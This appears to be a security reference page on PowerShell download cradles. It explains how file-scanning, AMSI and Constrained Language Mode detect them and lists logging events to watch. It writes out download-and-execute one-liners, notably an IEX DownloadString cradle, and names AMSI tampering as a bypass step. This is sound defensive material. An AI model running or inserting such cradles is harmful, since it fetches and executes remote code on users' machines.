Invoke-WebRequest and PowerShell Download Cradles
Moving a file from an attacker-controlled server to a Windows target (“ingress tool transfer”, MITRE T1105) is one of the most common PowerShell tasks in both administration and intrusion. The mechanics are a handful of one-liners; the interesting part is where each variant lands on the Defender/AMSI detection surface.
The core patterns
Download to disk — the cmdlet-native way:
Invoke-WebRequest -Uri $URL -OutFile C:\path\file.ps1Download into a variable — nothing touches disk; content lives in memory:
$data = (New-Object System.Net.WebClient).DownloadString($URL)Download-and-execute (“cradle”) — fetch straight into Invoke-Expression:
IEX (New-Object System.Net.WebClient).DownloadString($URL)Invoke-WebRequest is the modern cmdlet; System.Net.WebClient.DownloadString is the older .NET pattern both still seen everywhere in the wild. Functionally interchangeable for fetching text — the detection surface differs by destination, not by which getter you used.
Where Defender and AMSI draw the line
The two controls operate at different choke points:
- Microsoft Defender (on-access file scanning): a file written to disk is scanned when it lands. A known-bad payload dropped with
-OutFilewill typically be quarantined and the incident logged — before it ever executes. - AMSI (Antimalware Scan Interface): a scripting-layer interface that lets the antimalware engine scan content, not files — including PowerShell scripts, interactive commands, and dynamic code evaluation (e.g.,
IEXof a string), regardless of whether anything touched disk. AMSI also supports scan sessions so an engine can correlate multi-stage behavior, and Defender for Endpoint uses it specifically against fileless and dynamic script-based attacks.
Consequences:
| Technique | Defender on-access | AMSI |
|---|---|---|
-OutFile to disk | Scanned — usually caught if signature known | Scanned again at execution |
DownloadString to variable | Not scanned (no file) | Scanned when content is IEX’d |
IEX (DownloadString) | Not scanned (no file) | Scanned at IEX — caught unless AMSI is bypassed |
So in-memory execution only beats the file scanner; it does not beat AMSI. The classic bypass chain is AMSI tampering first (T1562.001), then the cradle — and even then, Constrained Language Mode blocks the whole pattern by removing Net.WebClient and IEX-adjacent capability from the language entirely. When CLM is active, attackers are pushed back to on-disk scripts in AppLocker/WDAC-allowed directories, which re-exposes them to Defender on-access scanning. The three controls interlock — that interplay is the real defense-in-depth story here.
Detection
- PowerShell Script Block Logging (EID 4104):
Invoke-WebRequest,DownloadString,IEX,Net.WebClientin command lines or script blocks - Sysmon EID 1 / EID 4688:
powershell.exewith cradle-shaped arguments; EID 11 (file create) for-OutFiledrops - Sysmon EID 3 / proxy logs: PowerShell processes making outbound HTTP(S) connections at all is anomalous on most workstations
- AMSI telemetry in Defender for Endpoint surfaces the scanned content of in-memory cradles even when no file exists
Related
- powershell-execution-policy-bypass — why
-ex bypassgets the script running but says nothing about AMSI - powershell-constrained-language-mode — the control that removes cradle capability outright
- powershell-port-scanning — another pure-PowerShell network technique using raw sockets instead of HTTP
- powershell-base64-encoding — the
-encblob wrapping most cradles in the wild - disable-microsoft-defender — the admin-level alternative to AMSI tampering